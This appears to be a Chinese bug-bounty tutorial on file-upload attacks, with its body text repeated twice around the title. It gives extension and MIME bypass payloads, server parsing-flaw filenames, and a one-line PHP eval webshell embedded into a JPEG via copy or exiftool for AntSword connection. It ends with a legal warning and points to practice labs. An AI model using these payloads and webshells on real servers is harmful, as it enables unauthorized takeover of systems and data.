上期回顾我们刚用 SQL 注入把数据库翻了个底朝天。本期我们来聊聊更暴力的漏洞——文件上传。如果说 SQL 注入是“偷”那文件上传就是直接往人家服务器里安炸弹。一、为什么文件上传是“高危”在 SRC 评级里GetShell拿到服务器权限 通常是最高级Critical。而文件上传是实现 GetShell 最直接的捷径。理想情况一句话木马- 上传成功 - 菜刀/蚁剑连接 - 控制服务器。现实情况一句话木马- WAF 拦截非法字符 - 服务器重命名 - 文件被放到无法执行的目录。所以我们需要“骗”过服务器。二、绕过前端的“纸老虎”很多开发以为在前端做个 JS 校验就安全了这叫掩耳盗铃。1. 场景还原网页 JS 代码if (file.type ! image/jpeg) { alert(只允许 JPG 图片); return false; }2. 绕过姿势禁用 JS浏览器按 F12把 JS 禁了随便传。改包先把马改成.jpg上传用 Burp Suite 抓包再把文件名改回.php。控制台修改在 Console 里直接删掉校验函数。SRC 提示这种漏洞一般评低危因为稍微有点安全意识的厂商都会做后端校验。三、绕过后端校验的“攻防战”这是实战中最精彩的部分。1. MIME 类型绕过Content-Type后端代码逻辑只允许image/jpeg。绕过抓包修改httpContent-Disposition: form-data; namefile; filenameshell.php Content-Type: image/jpeg -- 重点在这里伪装成图片2. 黑名单绕过老版本的噩梦如果后端禁止.php,.asp,.jsp。试试这些冷门后缀Windows/IISshell.php5shell.phtmlshell.asp;.jpg(IIS 6.0 经典漏洞分号截断)3. 大小写与双写大小写.PhP(Linux 区分大小写但有些中间件配置不严谨)。双写shell.pphphp(过滤php时删除第一个php剩下php)。四、解析漏洞给服务器“洗脑”有时候你上传的是.jpg但服务器却把它当成.php来执行。这就是解析漏洞。1. Apache 解析漏洞原理Apache 是从右往左解析后缀的。文件名shell.php.jpg解析顺序.jpg不认识 - 继续往左 -.php认识 -当成 PHP 执行。2. IIS 6.0 经典姿势目录解析/test.asp/shell.jpg(只要文件夹叫.asp里面的文件不管啥后缀都执行)。文件解析shell.asp;.jpg(分号截断)。3. Nginx 解析漏洞CVE-2013-4547Payloadshell.jpg\0.php解释Nginx 看到\0空字符截断认为后面是.php于是交给 FastCGI 处理结果执行了前面的 JPG 内容。五、实战演练制作“图片马”很多时候服务器会检查文件内容魔术头不是 JPEG 格式直接拦截。制作步骤Kali Linux / CMD# 将一句话木马追加到正常图片末尾 copy /b normal.jpg shell.php evil.jpg或者用 Exiftoolexiftool -Comment?php eval($_POST[cmd]); ? normal.jpg -o shell.jpg结果文件头是JFIF(图片)骗过后端校验。文件尾是?php ... ?服务器解析时执行代码。连接测试上传成功后访问http://target.com/uploads/evil.jpg。用蚁剑连接成功 GetShell六、SRC 报告中的“坑”无解析你传了个shell.php但它在/uploads/目录下没有执行权限。结果厂商可能忽略或者评为“无效”。自包含你传了个文件但无法访问路径不知道存哪了。结果无法证明危害评级降低。报告技巧一定要截图证明“能够执行系统命令”如whoami而不仅仅是“文件传上去了”。七、互动与思考绕过姿势适用场景成功率前端禁用JS弱智站点90%MIME 绕过仅校验 Content-Type60%图片马解析漏洞强校验文件内容极高 互动话题各位老司机你们当年第一次 GetShell 是用什么姿势是经典的phpinfo()探针还是直接system(calc)弹计算器装逼⚠️ 法律红线警示严禁在未授权服务器上传 Webshell、挖矿病毒或任何形式的恶意软件。严禁利用 GetShell 权限查看、下载或篡改服务器内的用户数据这是犯罪。测试原则证明可以执行phpinfo()或简单的echo命令即可立即停止切勿进一步深入。靶机练习请在本地搭建Upload-Labs、DVWA 等靶场进行练习。技术是把双刃剑拿剑的手决定了它是凶器还是护盾。请务必守住法律底线。 ️下一期我们将进入“业务逻辑漏洞上”。告别代码层面我们要开始“骗人”了——如何通过修改数据包把别人的快递改寄到你家敬请期待
【SRC漏洞挖掘系列】第04期:文件上传与解析——把图片变成“特洛伊木马”
上期回顾我们刚用 SQL 注入把数据库翻了个底朝天。本期我们来聊聊更暴力的漏洞——文件上传。如果说 SQL 注入是“偷”那文件上传就是直接往人家服务器里安炸弹。一、为什么文件上传是“高危”在 SRC 评级里GetShell拿到服务器权限 通常是最高级Critical。而文件上传是实现 GetShell 最直接的捷径。理想情况一句话木马- 上传成功 - 菜刀/蚁剑连接 - 控制服务器。现实情况一句话木马- WAF 拦截非法字符 - 服务器重命名 - 文件被放到无法执行的目录。所以我们需要“骗”过服务器。二、绕过前端的“纸老虎”很多开发以为在前端做个 JS 校验就安全了这叫掩耳盗铃。1. 场景还原网页 JS 代码if (file.type ! image/jpeg) { alert(只允许 JPG 图片); return false; }2. 绕过姿势禁用 JS浏览器按 F12把 JS 禁了随便传。改包先把马改成.jpg上传用 Burp Suite 抓包再把文件名改回.php。控制台修改在 Console 里直接删掉校验函数。SRC 提示这种漏洞一般评低危因为稍微有点安全意识的厂商都会做后端校验。三、绕过后端校验的“攻防战”这是实战中最精彩的部分。1. MIME 类型绕过Content-Type后端代码逻辑只允许image/jpeg。绕过抓包修改httpContent-Disposition: form-data; namefile; filenameshell.php Content-Type: image/jpeg -- 重点在这里伪装成图片2. 黑名单绕过老版本的噩梦如果后端禁止.php,.asp,.jsp。试试这些冷门后缀Windows/IISshell.php5shell.phtmlshell.asp;.jpg(IIS 6.0 经典漏洞分号截断)3. 大小写与双写大小写.PhP(Linux 区分大小写但有些中间件配置不严谨)。双写shell.pphphp(过滤php时删除第一个php剩下php)。四、解析漏洞给服务器“洗脑”有时候你上传的是.jpg但服务器却把它当成.php来执行。这就是解析漏洞。1. Apache 解析漏洞原理Apache 是从右往左解析后缀的。文件名shell.php.jpg解析顺序.jpg不认识 - 继续往左 -.php认识 -当成 PHP 执行。2. IIS 6.0 经典姿势目录解析/test.asp/shell.jpg(只要文件夹叫.asp里面的文件不管啥后缀都执行)。文件解析shell.asp;.jpg(分号截断)。3. Nginx 解析漏洞CVE-2013-4547Payloadshell.jpg\0.php解释Nginx 看到\0空字符截断认为后面是.php于是交给 FastCGI 处理结果执行了前面的 JPG 内容。五、实战演练制作“图片马”很多时候服务器会检查文件内容魔术头不是 JPEG 格式直接拦截。制作步骤Kali Linux / CMD# 将一句话木马追加到正常图片末尾 copy /b normal.jpg shell.php evil.jpg或者用 Exiftoolexiftool -Comment?php eval($_POST[cmd]); ? normal.jpg -o shell.jpg结果文件头是JFIF(图片)骗过后端校验。文件尾是?php ... ?服务器解析时执行代码。连接测试上传成功后访问http://target.com/uploads/evil.jpg。用蚁剑连接成功 GetShell六、SRC 报告中的“坑”无解析你传了个shell.php但它在/uploads/目录下没有执行权限。结果厂商可能忽略或者评为“无效”。自包含你传了个文件但无法访问路径不知道存哪了。结果无法证明危害评级降低。报告技巧一定要截图证明“能够执行系统命令”如whoami而不仅仅是“文件传上去了”。七、互动与思考绕过姿势适用场景成功率前端禁用JS弱智站点90%MIME 绕过仅校验 Content-Type60%图片马解析漏洞强校验文件内容极高 互动话题各位老司机你们当年第一次 GetShell 是用什么姿势是经典的phpinfo()探针还是直接system(calc)弹计算器装逼⚠️ 法律红线警示严禁在未授权服务器上传 Webshell、挖矿病毒或任何形式的恶意软件。严禁利用 GetShell 权限查看、下载或篡改服务器内的用户数据这是犯罪。测试原则证明可以执行phpinfo()或简单的echo命令即可立即停止切勿进一步深入。靶机练习请在本地搭建Upload-Labs、DVWA 等靶场进行练习。技术是把双刃剑拿剑的手决定了它是凶器还是护盾。请务必守住法律底线。 ️下一期我们将进入“业务逻辑漏洞上”。告别代码层面我们要开始“骗人”了——如何通过修改数据包把别人的快递改寄到你家敬请期待